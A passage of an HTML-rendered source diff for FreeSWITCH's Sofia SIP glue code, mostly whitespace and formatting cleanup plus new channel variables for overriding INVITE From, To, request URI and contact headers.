</del><ins>+                                 which means no lookup was necessary. Check if NAT is detected */
</ins><span class="cx">                                 if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
</span><span class="cx">                                         /* Yes, map the port through switch_nat */
</span><span class="cx">                                         switch_nat_add_mapping(tech_pvt->local_sdp_video_port, SWITCH_NAT_UDP, &sdp_port, SWITCH_FALSE);
</span><span class="lines">@@ -806,7 +807,7 @@
</span><span class="cx">                                         use_ip = tech_pvt->profile->rtpip;
</span><span class="cx">                                 }
</span><span class="cx">                         } else {
</span><del>-                                /* Address properly resolved, use it as external ip */
</del><ins>+                                /* Address properly resolved, use it as external ip */
</ins><span class="cx">                                 use_ip = lookup_rtpip;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -814,7 +815,7 @@
</span><span class="cx">                 /* No NAT traversal required, use the profile's rtp ip */
</span><span class="cx">                 use_ip = tech_pvt->profile->rtpip;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         tech_pvt->adv_sdp_video_port = sdp_port;
</span><span class="cx">         switch_channel_set_variable(tech_pvt->channel, SWITCH_LOCAL_VIDEO_IP_VARIABLE, tech_pvt->adv_sdp_audio_ip);
</span><span class="cx">         switch_channel_set_variable_printf(tech_pvt->channel, SWITCH_LOCAL_VIDEO_PORT_VARIABLE, "%d", sdp_port);
</span><span class="lines">@@ -913,22 +914,19 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><del>-char *sofia_glue_create_external_via(switch_core_session_t *session, sofia_profile_t *profile, sofia_transport_t transport)
</del><ins>+char *sofia_glue_create_external_via(switch_core_session_t *session, sofia_profile_t *profile, sofia_transport_t transport)
</ins><span class="cx"> {
</span><del>-        return sofia_glue_create_via(session,
-                                                                 profile->extsipip,
-                                                                 (sofia_glue_transport_has_tls(transport))
-                                                                 ? profile->tls_sip_port : profile->sip_port,
-                                                                 transport);
</del><ins>+        return sofia_glue_create_via(session, profile->extsipip, (sofia_glue_transport_has_tls(transport))
+                                                                 ? profile->tls_sip_port : profile->sip_port, transport);
</ins><span class="cx"> }
</span><span class="cx">
</span><del>-char *sofia_glue_create_via(switch_core_session_t *session, const char *ip, switch_port_t port, sofia_transport_t transport)
</del><ins>+char *sofia_glue_create_via(switch_core_session_t *session, const char *ip, switch_port_t port, sofia_transport_t transport)
</ins><span class="cx"> {
</span><span class="cx">         if (port && port != 5060) {
</span><span class="cx">                 if (session) {
</span><del>-                        return switch_core_session_sprintf(session, "SIP/2.0/%s %s:%d;rport", sofia_glue_transport2str(transport), ip, port);                
</del><ins>+                        return switch_core_session_sprintf(session, "SIP/2.0/%s %s:%d;rport", sofia_glue_transport2str(transport), ip, port);
</ins><span class="cx">                 } else {
</span><del>-                        return switch_mprintf("SIP/2.0/%s %s:%d;rport", sofia_glue_transport2str(transport), ip, port);                
</del><ins>+                        return switch_mprintf("SIP/2.0/%s %s:%d;rport", sofia_glue_transport2str(transport), ip, port);
</ins><span class="cx">                 }
</span><span class="cx">         } else {
</span><span class="cx">                 if (session) {
</span><span class="lines">@@ -973,7 +971,8 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><del>-void sofia_glue_get_addr(msg_t *msg, char *buf, size_t buflen, int *port) {
</del><ins>+void sofia_glue_get_addr(msg_t *msg, char *buf, size_t buflen, int *port)
+{
</ins><span class="cx">         su_addrinfo_t *addrinfo = msg_addrinfo(msg);
</span><span class="cx">
</span><span class="cx">         if (buf) {
</span><span class="lines">@@ -981,7 +980,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (port) {
</span><del>-                *port = get_port(addrinfo->ai_addr);
</del><ins>+                *port = get_port(addrinfo->ai_addr);
</ins><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -995,8 +994,8 @@
</span><span class="cx">         stripped = sofia_glue_get_url_from_contact(stripped, 0);
</span><span class="cx">
</span><span class="cx">         /* remove our params so we don't make any whiny moronic device piss it's pants and forget who it is for a half-hour */
</span><del>-        if ((p = (char *)switch_stristr(";fs_", stripped))) {
-                *p = '\0';
</del><ins>+        if ((p = (char *) switch_stristr(";fs_", stripped))) {
+                *p = '\0';
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (transport && transport != SOFIA_TRANSPORT_UDP) {
</span><span class="lines">@@ -1048,13 +1047,12 @@
</span><span class="cx">         char *p, *ip_ptr = NULL, *port_ptr = NULL, *vid_port_ptr = NULL, *pe;
</span><span class="cx">         int x;
</span><span class="cx">         const char *val;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(tech_pvt->remote_sdp_str)) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if ((p = (char *) switch_stristr("c=IN IP4 ", tech_pvt->remote_sdp_str)) ||
-                (p = (char *) switch_stristr("c=IN IP6 ", tech_pvt->remote_sdp_str))) {
</del><ins>+        if ((p = (char *) switch_stristr("c=IN IP4 ", tech_pvt->remote_sdp_str)) || (p = (char *) switch_stristr("c=IN IP6 ", tech_pvt->remote_sdp_str))) {
</ins><span class="cx">                 ip_ptr = p + 9;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -1112,7 +1110,7 @@
</span><span class="cx">
</span><span class="cx">         tech_pvt->remote_sdp_audio_ip = switch_core_session_strdup(tech_pvt->session, rip);
</span><span class="cx">         tech_pvt->remote_sdp_audio_port = (switch_port_t) atoi(rp);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (*rvp) {
</span><span class="cx">                 tech_pvt->remote_sdp_video_ip = switch_core_session_strdup(tech_pvt->session, rip);
</span><span class="cx">                 tech_pvt->remote_sdp_video_port = (switch_port_t) atoi(rvp);
</span><span class="lines">@@ -1126,9 +1124,8 @@
</span><span class="cx">                         sofia_set_flag_locked(tech_pvt, TFLAG_VIDEO);
</span><span class="cx">                         switch_channel_set_flag(tech_pvt->channel, CF_VIDEO);
</span><span class="cx">                         if (switch_rtp_ready(tech_pvt->video_rtp_session)) {
</span><del>-                                if (switch_rtp_set_remote_address(tech_pvt->video_rtp_session, tech_pvt->remote_sdp_video_ip,
-                                                                                                 tech_pvt->remote_sdp_video_port, SWITCH_TRUE, &err) !=
-                                        SWITCH_STATUS_SUCCESS) {
</del><ins>+                                if (switch_rtp_set_remote_address(tech_pvt->video_rtp_session, tech_pvt->remote_sdp_video_ip,
+                                                                                                 tech_pvt->remote_sdp_video_port, SWITCH_TRUE, &err) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "VIDEO RTP REPORTS ERROR: [%s]\n", err);
</span><span class="cx">                                 } else {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "VIDEO RTP CHANGING DEST TO: [%s:%d]\n",
</span><span class="lines">@@ -1149,14 +1146,14 @@
</span><span class="cx">         if (switch_rtp_ready(tech_pvt->rtp_session)) {
</span><span class="cx">                 char *remote_host = switch_rtp_get_remote_host(tech_pvt->rtp_session);
</span><span class="cx">                 switch_port_t remote_port = switch_rtp_get_remote_port(tech_pvt->rtp_session);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (remote_host && remote_port && !strcmp(remote_host, tech_pvt->remote_sdp_audio_ip) && remote_port == tech_pvt->remote_sdp_audio_port) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Remote address:port [%s:%d] has not changed.\n",
</span><span class="cx">                                                          tech_pvt->remote_sdp_audio_ip, tech_pvt->remote_sdp_audio_port);
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 }
</span><del>-                
-                if (switch_rtp_set_remote_address(tech_pvt->rtp_session, tech_pvt->remote_sdp_audio_ip,
</del><ins>+
+                if (switch_rtp_set_remote_address(tech_pvt->rtp_session, tech_pvt->remote_sdp_audio_ip,
</ins><span class="cx">                                                                                  tech_pvt->remote_sdp_audio_port, SWITCH_TRUE, &err) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "AUDIO RTP REPORTS ERROR: [%s]\n", err);
</span><span class="cx">                 } else {
</span><span class="lines">@@ -1165,7 +1162,7 @@
</span><span class="cx">                         if (!sofia_test_pflag(tech_pvt->profile, PFLAG_DISABLE_RTP_AUTOADJ) &&
</span><span class="cx">                                 !((val = switch_channel_get_variable(tech_pvt->channel, "disable_rtp_auto_adjust")) && switch_true(val))) {
</span><span class="cx">                                 /* Reactivate the NAT buster flag. */
</span><del>-                                switch_rtp_set_flag(tech_pvt->rtp_session, SWITCH_RTP_FLAG_AUTOADJ);        
</del><ins>+                                switch_rtp_set_flag(tech_pvt->rtp_session, SWITCH_RTP_FLAG_AUTOADJ);
</ins><span class="cx">                         }
</span><span class="cx">                         if (sofia_test_pflag(tech_pvt->profile, PFLAG_AUTOFIX_TIMING)) {
</span><span class="cx">                                 tech_pvt->check_frames = 0;
</span><span class="lines">@@ -1180,8 +1177,8 @@
</span><span class="cx"> void sofia_glue_tech_patch_sdp(private_object_t *tech_pvt)
</span><span class="cx"> {
</span><span class="cx">         switch_size_t len;
</span><del>-        char *p, *q, *pe , *qe;
-        int has_video=0,has_audio=0,has_ip=0;
</del><ins>+        char *p, *q, *pe, *qe;
+        int has_video = 0, has_audio = 0, has_ip = 0;
</ins><span class="cx">         char port_buf[25] = "";
</span><span class="cx">         char vport_buf[25] = "";
</span><span class="cx">         char *new_sdp;
</span><span class="lines">@@ -1192,51 +1189,52 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         len = strlen(tech_pvt->local_sdp_str) * 2;
</span><del>-        
-        if (switch_channel_test_flag(tech_pvt->channel, CF_ANSWERED) &&
</del><ins>+
+        if (switch_channel_test_flag(tech_pvt->channel, CF_ANSWERED) &&
</ins><span class="cx">                 (switch_stristr("sendonly", tech_pvt->local_sdp_str) || switch_stristr("0.0.0.0", tech_pvt->local_sdp_str))) {
</span><del>-         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Skip patch on hold SDP\n");
-         return;
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "Skip patch on hold SDP\n");
+                return;
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(tech_pvt->adv_sdp_audio_ip) || !tech_pvt->adv_sdp_audio_port) {
</span><del>-         if (sofia_glue_tech_choose_port(tech_pvt, 1) != SWITCH_STATUS_SUCCESS) {
-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "%s I/O Error\n", switch_channel_get_name(tech_pvt->channel));
</del><ins>+                if (sofia_glue_tech_choose_port(tech_pvt, 1) != SWITCH_STATUS_SUCCESS) {
+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "%s I/O Error\n",
+                                                         switch_channel_get_name(tech_pvt->channel));
</ins><span class="cx">                         return;
</span><span class="cx">                 }
</span><span class="cx">                 tech_pvt->iananame = switch_core_session_strdup(tech_pvt->session, "PROXY");
</span><span class="cx">                 tech_pvt->rm_rate = 8000;
</span><span class="cx">                 tech_pvt->codec_ms = 20;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         new_sdp = switch_core_session_alloc(tech_pvt->session, len);
</span><span class="cx">         switch_snprintf(port_buf, sizeof(port_buf), "%u", tech_pvt->adv_sdp_audio_port);
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         p = tech_pvt->local_sdp_str;
</span><span class="cx">         q = new_sdp;
</span><span class="cx">         pe = p + strlen(p);
</span><span class="cx">         qe = q + len - 1;
</span><span class="cx">
</span><del>-        while(p && *p) {
</del><ins>+        while (p && *p) {
</ins><span class="cx">                 if (p >= pe) {
</span><span class="cx">                         bad = 1;
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (q >= qe) {
</span><span class="cx">                         bad = 2;
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-         if (tech_pvt->adv_sdp_audio_ip && !strncmp("c=IN IP", p, 7)) {
</del><ins>+                if (tech_pvt->adv_sdp_audio_ip && !strncmp("c=IN IP", p, 7)) {
</ins><span class="cx">                         strncpy(q, p, 9);
</span><span class="cx">                         p += 9;
</span><span class="cx">                         q += 9;
</span><span class="cx">                         strncpy(q, tech_pvt->adv_sdp_audio_ip, strlen(tech_pvt->adv_sdp_audio_ip));
</span><span class="cx">                         q += strlen(tech_pvt->adv_sdp_audio_ip);
</span><span class="cx">
</span><del>-                        while(p && *p && ((*p >= '0' && *p <= '9') || *p == '.' || *p == ':' || (*p >= 'A' && *p <= 'F') || (*p >= 'a' && *p <= 'f'))) {
</del><ins>+                        while (p && *p && ((*p >= '0' && *p <= '9') || *p == '.' || *p == ':' || (*p >= 'A' && *p <= 'F') || (*p >= 'a' && *p <= 'f'))) {
</ins><span class="cx">                                 if (p >= pe) {
</span><span class="cx">                                         bad = 3;
</span><span class="cx">                                         goto end;
</span><span class="lines">@@ -1244,7 +1242,7 @@
</span><span class="cx">                                 p++;
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                 has_ip++;
</del><ins>+                        has_ip++;
</ins><span class="cx">
</span><span class="cx">                 } else if (!strncmp("m=audio ", p, 8) || (!strncmp("m=image ", p, 8))) {
</span><span class="cx">                         strncpy(q, p, 8);
</span><span class="lines">@@ -1257,7 +1255,7 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">                         q += 8;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (q >= qe) {
</span><span class="cx">                                 bad = 5;
</span><span class="cx">                                 goto end;
</span><span class="lines">@@ -1280,9 +1278,9 @@
</span><span class="cx">                                 p++;
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                        has_audio++;                
</del><ins>+                        has_audio++;
</ins><span class="cx">
</span><del>-         } else if (!strncmp("m=video ", p, 8)) {
</del><ins>+                } else if (!strncmp("m=video ", p, 8)) {
</ins><span class="cx">                         if (!has_video) {
</span><span class="cx">                                 sofia_glue_tech_choose_video_port(tech_pvt, 1);
</span><span class="cx">                                 tech_pvt->video_rm_encoding = "PROXY-VID";
</span><span class="lines">@@ -1323,12 +1321,12 @@
</span><span class="cx">
</span><span class="cx">                                 p++;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         has_video++;
</span><del>-         }
-        
-         while (p && *p && *p != '\n') {
</del><ins>+                }
</ins><span class="cx">
</span><ins>+                while (p && *p && *p != '\n') {
+
</ins><span class="cx">                         if (p >= pe) {
</span><span class="cx">                                 bad = 12;
</span><span class="cx">                                 goto end;
</span><span class="lines">@@ -1340,23 +1338,23 @@
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         *q++ = *p++;
</span><del>-         }
-                
</del><ins>+                }
+
</ins><span class="cx">                 if (p >= pe) {
</span><del>- bad = 14;
- goto end;
- }
-                
</del><ins>+                        bad = 14;
+                        goto end;
+                }
+
</ins><span class="cx">                 if (q >= qe) {
</span><span class="cx">                         bad = 15;
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-         *q++ = *p++;
</del><ins>+                *q++ = *p++;
</ins><span class="cx">
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         if (bad) {
</span><span class="cx">                 return;
</span><span class="lines">@@ -1374,8 +1372,8 @@
</span><span class="cx">                                                  switch_channel_get_name(tech_pvt->channel), tech_pvt->local_sdp_str);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_DEBUG, "%s Patched SDP\n---\n%s\n+++\n%s\n",
</span><span class="cx">                                          switch_channel_get_name(tech_pvt->channel), tech_pvt->local_sdp_str, new_sdp);
</span><span class="cx">
</span><span class="lines">@@ -1387,33 +1385,34 @@
</span><span class="cx"> void sofia_glue_tech_set_local_sdp(private_object_t *tech_pvt, const char *sdp_str, switch_bool_t dup)
</span><span class="cx"> {
</span><span class="cx">         switch_mutex_lock(tech_pvt->sofia_mutex);
</span><del>-        tech_pvt->local_sdp_str = dup ? switch_core_session_strdup(tech_pvt->session, sdp_str) : (char *)sdp_str;
-        switch_mutex_unlock(tech_pvt->sofia_mutex);        
</del><ins>+        tech_pvt->local_sdp_str = dup ? switch_core_session_strdup(tech_pvt->session, sdp_str) : (char *) sdp_str;
+        switch_channel_set_variable(tech_pvt->channel, "sip_local_sdp_str", tech_pvt->local_sdp_str);
+        switch_mutex_unlock(tech_pvt->sofia_mutex);
</ins><span class="cx"> }
</span><span class="cx">
</span><del>-char* sofia_glue_get_extra_headers(switch_channel_t *channel, const char *prefix)
</del><ins>+char *sofia_glue_get_extra_headers(switch_channel_t *channel, const char *prefix)
</ins><span class="cx"> {
</span><span class="cx">         char *extra_headers = NULL;
</span><span class="cx">         switch_stream_handle_t stream = { 0 };
</span><del>- switch_event_header_t *hi = NULL;
</del><ins>+        switch_event_header_t *hi = NULL;
</ins><span class="cx">
</span><del>- SWITCH_STANDARD_STREAM(stream);
- if ((hi = switch_channel_variable_first(channel))) {
- for (; hi; hi = hi->next) {
- const char *name = (char *) hi->name;
- char *value = (char *) hi->value;
</del><ins>+        SWITCH_STANDARD_STREAM(stream);
+        if ((hi = switch_channel_variable_first(channel))) {
+                for (; hi; hi = hi->next) {
+                        const char *name = (char *) hi->name;
+                        char *value = (char *) hi->value;
</ins><span class="cx">
</span><del>- if (!strncasecmp(name, prefix, strlen(prefix))) {
- const char *hname = name + strlen(prefix);
- stream.write_function(&stream, "%s: %s\r\n", hname, value);
- }
- }
- switch_channel_variable_last(channel);
- }
</del><ins>+                        if (!strncasecmp(name, prefix, strlen(prefix))) {
+                                const char *hname = name + strlen(prefix);
+                                stream.write_function(&stream, "%s: %s\r\n", hname, value);
+                        }
+                }
+                switch_channel_variable_last(channel);
+        }
</ins><span class="cx">
</span><del>- if (!zstr((char*)stream.data)) {
- extra_headers = stream.data;
- } else {
</del><ins>+        if (!zstr((char *) stream.data)) {
+                extra_headers = stream.data;
+        } else {
</ins><span class="cx">                 switch_safe_free(stream.data);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -1424,7 +1423,7 @@
</span><span class="cx"> {
</span><span class="cx">         sip_unknown_t *un;
</span><span class="cx">         char name[512] = "";
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!sip || !channel) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="lines">@@ -1461,7 +1460,15 @@
</span><span class="cx">         char *route_uri = NULL;
</span><span class="cx">         sofia_destination_t *dst = NULL;
</span><span class="cx">         sofia_cid_type_t cid_type = tech_pvt->profile->cid_type;
</span><del>-        
</del><ins>+        sip_cseq_t *cseq = NULL;
+        const char *invite_full_via = switch_channel_get_variable(tech_pvt->channel, "sip_invite_full_via");
+        const char *invite_route_uri = switch_channel_get_variable(tech_pvt->channel, "sip_invite_route_uri");
+        const char *invite_full_from = switch_channel_get_variable(tech_pvt->channel, "sip_invite_full_from");
+        const char *invite_full_to = switch_channel_get_variable(tech_pvt->channel, "sip_invite_full_to");
+        const char *handle_full_from = switch_channel_get_variable(tech_pvt->channel, "sip_handle_full_from");
+        const char *handle_full_to = switch_channel_get_variable(tech_pvt->channel, "sip_handle_full_to");
+
+
</ins><span class="cx">         rep = switch_channel_get_variable(channel, SOFIA_REPLACES_HEADER);
</span><span class="cx">
</span><span class="cx">         switch_assert(tech_pvt != NULL);
</span><span class="lines">@@ -1477,7 +1484,7 @@
</span><span class="cx">         check_decode(cid_name, session);
</span><span class="cx">         check_decode(cid_num, session);
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((alertbuf = switch_channel_get_variable(channel, "alert_info"))) {
</span><span class="cx">                 alert_info = switch_core_session_sprintf(tech_pvt->session, "Alert-Info: %s", alertbuf);
</span><span class="cx">         }
</span><span class="lines">@@ -1504,51 +1511,47 @@
</span><span class="cx">                 const char *invite_params = switch_channel_get_variable(tech_pvt->channel, "sip_invite_params");
</span><span class="cx">                 const char *invite_to_params = switch_channel_get_variable(tech_pvt->channel, "sip_invite_to_params");
</span><span class="cx">                 const char *invite_to_uri = switch_channel_get_variable(tech_pvt->channel, "sip_invite_to_uri");
</span><ins>+                const char *invite_from_uri = switch_channel_get_variable(tech_pvt->channel, "sip_invite_from_uri");
</ins><span class="cx">                 const char *invite_contact_params = switch_channel_get_variable(tech_pvt->channel, "sip_invite_contact_params");
</span><span class="cx">                 const char *invite_from_params = switch_channel_get_variable(tech_pvt->channel, "sip_invite_from_params");
</span><span class="cx">                 const char *from_var = switch_channel_get_variable(tech_pvt->channel, "sip_from_uri");
</span><span class="cx">                 const char *from_display = switch_channel_get_variable(tech_pvt->channel, "sip_from_display");
</span><ins>+                const char *invite_req_uri = switch_channel_get_variable(tech_pvt->channel, "sip_invite_req_uri");
+                const char *use_name, *use_number;
</ins><span class="cx">
</span><del>-
</del><span class="cx">                 if (zstr(tech_pvt->dest)) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt->session), SWITCH_LOG_ERROR, "URL Error!\n");
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if ((d_url = sofia_glue_get_url_from_contact(tech_pvt->dest, 1))) {
</span><span class="cx">                         url = d_url;
</span><span class="cx">                 } else {
</span><span class="cx">                         url = tech_pvt->dest;
</span><span class="cx">                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                 url_str = url;
</span><span class="cx">
</span><span class="cx">                 if (!tech_pvt->from_str) {
</span><del>-                        const char* sipip;
-                        const char* format;
</del><ins>+                        const char *sipip;
+                        const char *format;
</ins><span class="cx">                         const char *alt = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         sipip = tech_pvt->profile->sipip;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
</span><span class="cx">                                 sipip = tech_pvt->profile->extsipip;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         format = strchr(sipip, ':') ? "\"%s\" <sip:%s%s[%s]>" : "\"%s\" <sip:%s%s%s>";
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((alt = switch_channel_get_variable(channel, "sip_invite_domain"))) {
</span><span class="cx">                                 sipip = alt;
</span><span class="cx">                         }
</span><del>-                        
-                        tech_pvt->from_str =
-                                switch_core_session_sprintf(tech_pvt->session,
-                                                                                        format,
-                                                                                        cid_name,
-                                                                                        cid_num,
-                                                                                        !zstr(cid_num) ? "@" : "",
-                                                                                        sipip);
</del><ins>+
+                        tech_pvt->from_str = switch_core_session_sprintf(tech_pvt->session, format, cid_name, cid_num, !zstr(cid_num) ? "@" : "", sipip);
</ins><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (from_var) {
</span><span class="cx">                         if (strncasecmp(from_var, "sip:", 4) || strncasecmp(from_var, "sips:", 5)) {
</span><span class="cx">                                 use_from_str = switch_core_session_strdup(tech_pvt->session, from_var);
</span><span class="lines">@@ -1565,7 +1568,7 @@
</span><span class="cx">                         rpid_domain = switch_core_session_strdup(session, tech_pvt->gateway_from_str);
</span><span class="cx">                 } else if (!zstr(tech_pvt->from_str)) {
</span><span class="cx">                         rpid_domain = switch_core_session_strdup(session, tech_pvt->from_str);
</span><del>-                }
</del><ins>+                }
</ins><span class="cx">
</span><span class="cx">                 sofia_glue_get_url_from_contact(rpid_domain, 0);
</span><span class="cx">                 if ((rpid_domain = strrchr(rpid_domain, '@'))) {
</span><span class="lines">@@ -1616,33 +1619,32 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (zstr(tech_pvt->invite_contact)) {
</span><del>-                        const char * contact;
</del><ins>+                        const char *contact;
</ins><span class="cx">                         if ((contact = switch_channel_get_variable(channel, "sip_contact_user"))) {
</span><span class="cx">                                 char *ip_addr;
</span><span class="cx">                                 char *ipv6;
</span><span class="cx">
</span><del>-                                if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
-                                        ip_addr = (switch_check_network_list_ip(tech_pvt->remote_ip, tech_pvt->profile->local_network))
</del><ins>+                                if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
+                                        ip_addr = (switch_check_network_list_ip(tech_pvt->remote_ip, tech_pvt->profile->local_network))
</ins><span class="cx">                                                 ? tech_pvt->profile->sipip : tech_pvt->profile->extsipip;
</span><span class="cx">                                 } else {
</span><span class="cx">                                         ip_addr = tech_pvt->profile->extsipip ? tech_pvt->profile->extsipip : tech_pvt->profile->sipip;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 ipv6 = strchr(ip_addr, ':');
</span><span class="cx">
</span><span class="cx">                                 if (sofia_glue_transport_has_tls(tech_pvt->transport)) {
</span><del>-                                        tech_pvt->invite_contact = switch_core_session_sprintf(session, "sip:%s@%s%s%s:%d", contact,
-                                                                                                                                                 ipv6 ? "[" : "", ip_addr, ipv6 ? "]" : "",
-                                                                                                                                                 tech_pvt->profile->tls_sip_port);
</del><ins>+                                        tech_pvt->invite_contact = switch_core_session_sprintf(session, "sip:%s@%s%s%s:%d", contact,
+                                                                                                                                                 ipv6 ? "[" : "", ip_addr, ipv6 ? "]" : "", tech_pvt->profile->tls_sip_port);
</ins><span class="cx">                                 } else {
</span><del>-                                        tech_pvt->invite_contact = switch_core_session_sprintf(session, "sip:%s@%s%s%s:%d", contact,
</del><ins>+                                        tech_pvt->invite_contact = switch_core_session_sprintf(session, "sip:%s@%s%s%s:%d", contact,
</ins><span class="cx">                                                                                                                                                  ipv6 ? "[" : "", ip_addr, ipv6 ? "]" : "", tech_pvt->profile->sip_port);
</span><span class="cx">                                 }
</span><span class="cx">                         } else {
</span><span class="cx">                                 if (sofia_glue_transport_has_tls(tech_pvt->transport)) {
</span><span class="cx">                                         tech_pvt->invite_contact = tech_pvt->profile->tls_url;
</span><span class="cx">                                 } else {
</span><del>-                                        if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
</del><ins>+                                        if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
</ins><span class="cx">                                                 tech_pvt->invite_contact = tech_pvt->profile->public_url;
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 tech_pvt->invite_contact = tech_pvt->profile->url;
</span><span class="lines">@@ -1653,36 +1655,68 @@
</span><span class="cx">
</span><span class="cx">                 url_str = sofia_overcome_sip_uri_weakness(session, url, tech_pvt->transport, SWITCH_TRUE, invite_params);
</span><span class="cx">                 invite_contact = sofia_overcome_sip_uri_weakness(session, tech_pvt->invite_contact, tech_pvt->transport, SWITCH_FALSE, invite_contact_params);
</span><del>-                from_str = sofia_overcome_sip_uri_weakness(session, use_from_str, 0, SWITCH_TRUE, invite_from_params);
</del><ins>+                from_str = sofia_overcome_sip_uri_weakness(session, invite_from_uri ? invite_from_uri : use_from_str, 0, SWITCH_TRUE, invite_from_params);
</ins><span class="cx">                 to_str = sofia_overcome_sip_uri_weakness(session, invite_to_uri ? invite_to_uri : tech_pvt->dest_to, 0, SWITCH_FALSE, invite_to_params);
</span><span class="cx">
</span><ins>+                switch_channel_set_variable(channel, "sip_outgoing_contact_uri", invite_contact);
+
+
</ins><span class="cx">                 /*
</span><span class="cx">                  Does the "genius" who wanted SIP to be "text-based" so it was "easier to read" even use it now,
</span><span class="cx">                  or did he just suggest it to make our lives miserable?
</span><span class="cx">                  */
</span><span class="cx">                 use_from_str = from_str;
</span><ins>+
+                if (!switch_stristr("sip:", use_from_str)) {
+                        use_from_str = switch_core_session_sprintf(session, "sip:%s", use_from_str);
+                }
+
</ins><span class="cx">                 if (!from_display && !strcasecmp(tech_pvt->caller_profile->caller_id_name, "_undef_")) {
</span><span class="cx">                         from_str = switch_core_session_sprintf(session, "<%s>", use_from_str);
</span><span class="cx">                 } else {
</span><del>-                        from_str = switch_core_session_sprintf(session, "\"%s\" <%s>", from_display ? from_display :
</del><ins>+                        from_str = switch_core_session_sprintf(session, "\"%s\" <%s>", from_display ? from_display :
</ins><span class="cx">                                                                                                  tech_pvt->caller_profile->caller_id_name, use_from_str);
</span><span class="cx">                 }
</span><del>-                
-                if (!(call_id = switch_channel_get_variable(channel, "sip_outgoing_call_id"))) {
</del><ins>+
+                if (!(call_id = switch_channel_get_variable(channel, "sip_invite_call_id"))) {
</ins><span class="cx">                         if (sofia_test_pflag(tech_pvt->profile, PFLAG_UUID_AS_CALLID)) {
</span><span class="cx">                                 call_id = switch_core_session_get_uuid(session);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><ins>+                if (handle_full_from) {
+                        from_str = (char *) handle_full_from;
+                }
+
+                if (handle_full_to) {
+                        to_str = (char *) handle_full_to;
+                }
+
+
+                if (invite_req_uri) {
+                        url_str = (char *) invite_req_uri;
